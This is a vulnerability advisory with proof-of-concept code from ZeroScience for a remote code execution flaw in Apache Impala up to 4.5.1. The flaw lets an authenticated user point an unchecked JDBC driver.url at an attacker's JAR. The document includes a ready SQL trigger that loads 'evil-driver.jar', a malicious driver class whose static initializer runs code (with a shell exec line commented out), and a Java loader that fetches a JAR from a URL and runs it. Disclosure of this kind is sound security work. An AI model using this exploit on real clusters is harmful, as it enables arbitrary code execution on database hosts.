Apache Impala 4.5.1 Insufficient Authorization Remote Code Execution

[zeroscience]

/*

Apache Impala 4.5.1 Insufficient Authorization Remote Code Execution


Vendor: The Apache Software Foundation
Product web page: https://impala.apache.org
Affected version: <=4.5.1

Summary: Apache Impala is a modern, open source, distributed SQL query
engine for open data and table formats.

Desc: Apache Impala versions 2.7.0 through 4.5.1 suffer from an insufficient
authorization vulnerability that leads to remote code execution. A table
created with STORED BY JDBC takes a driver.url property that Impala uses
to fetch a remote JAR and load the named driver class on first query, and
the driver.url and driver.class properties are not authorization-checked.
An authenticated user who can create such a table can therefore point it
at an attacker-controlled location and have code loaded and run on the Impala
daemon hosts. The related CREATE DATA SOURCE path in CreateDataSrcStmt.java
also carries a literal "// TODO: authorization check" where the privilege
check belongs.

------------------------------------------------------------------------
 String driverLocalPath = FileSystemUtil.copyFileFromUriToLocal(driverUrl);
 URL driverJarUrl = new File(driverLocalPath).toURI().toURL();
 URLClassLoader driverLoader = URLClassLoader.newInstance(new URL[]{driverJarUrl}, ...);
 dbcpDs.setDriverClassLoader(driverLoader);
------------------------------------------------------------------------

Tested on: Windows 10, OpenJDK/21.0.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-6003
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6003


13.08.2026

--


Cluster trigger:
----------------
CREATE EXTERNAL TABLE zsl (id INT)
STORED BY JDBC
TBLPROPERTIES (
  "database.type" = "MYSQL",
  "jdbc.url"      = "jdbc:mysql://jdbc.zeroscience.mk:3306/x",
  "driver.url"    = "hdfs:///tmp/evil-driver.jar",
  "jdbc.driver"   = "EvilDriver",
  "table" = "x", "column.mapping" = "id"
);
SELECT * FROM zsl;



EvilDriver.java:
----------------
public class EvilDriver {
    static {
        run("static-initializer");
    }
    public EvilDriver() {
        run("constructor");
    }
    private static void run(String where) {
        System.out.println(">>> EvilDriver " + where + " EXECUTING on the Impala JVM");
        try {
            new java.io.File("IMPALA_PWNED_" + where + ".txt").createNewFile();
            //Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","id"});
            System.out.println("> [poc pay load writt en]");
        } catch (Exception e) {}
    }
}


*/

import java.io.*;
import java.net.*;
import java.nio.file.*;

public class Poc {
    static String copyFileFromUriToLocal(String driverUrl) throws Exception {
        String local = System.getProperty("java.io.tmpdir") + "/" + java.util.UUID.randomUUID() + ".jar";
        try (InputStream in = new URL(driverUrl).openStream()) {
            Files.copy(in, Paths.get(local), StandardCopyOption.REPLACE_EXISTING);
        }
        return local;
    }
    public static void main(String[] a) throws Exception {
        String driverUrl   = a.length>0 ? a[0] : new File("evil-driver.jar").toURI().toString();
        String driverClass = "EvilDriver";
        System.out.println("driver.url   = " + driverUrl);
        System.out.println("jdbc.driver  = " + driverClass);
        String driverLocalPath = copyFileFromUriToLocal(driverUrl);
        URL driverJarUrl = new File(driverLocalPath).toURI().toURL();
        URLClassLoader driverLoader = URLClassLoader.newInstance(new URL[]{ driverJarUrl }, Poc.class.getClassLoader());
        System.out.println("Loading and initializing attacker class.");
        Class<?> c = Class.forName(driverClass, true, driverLoader);
        c.getDeclaredConstructor().newInstance();
        System.out.println("Done.");
    }
}

ZSL-2026-6003: Apache Impala 4.5.1 Insufficient Authorization Remote Code Execution

ZSL-2026-6003: Apache Impala 4.5.1 Insufficient Authorization Remote Code Execution

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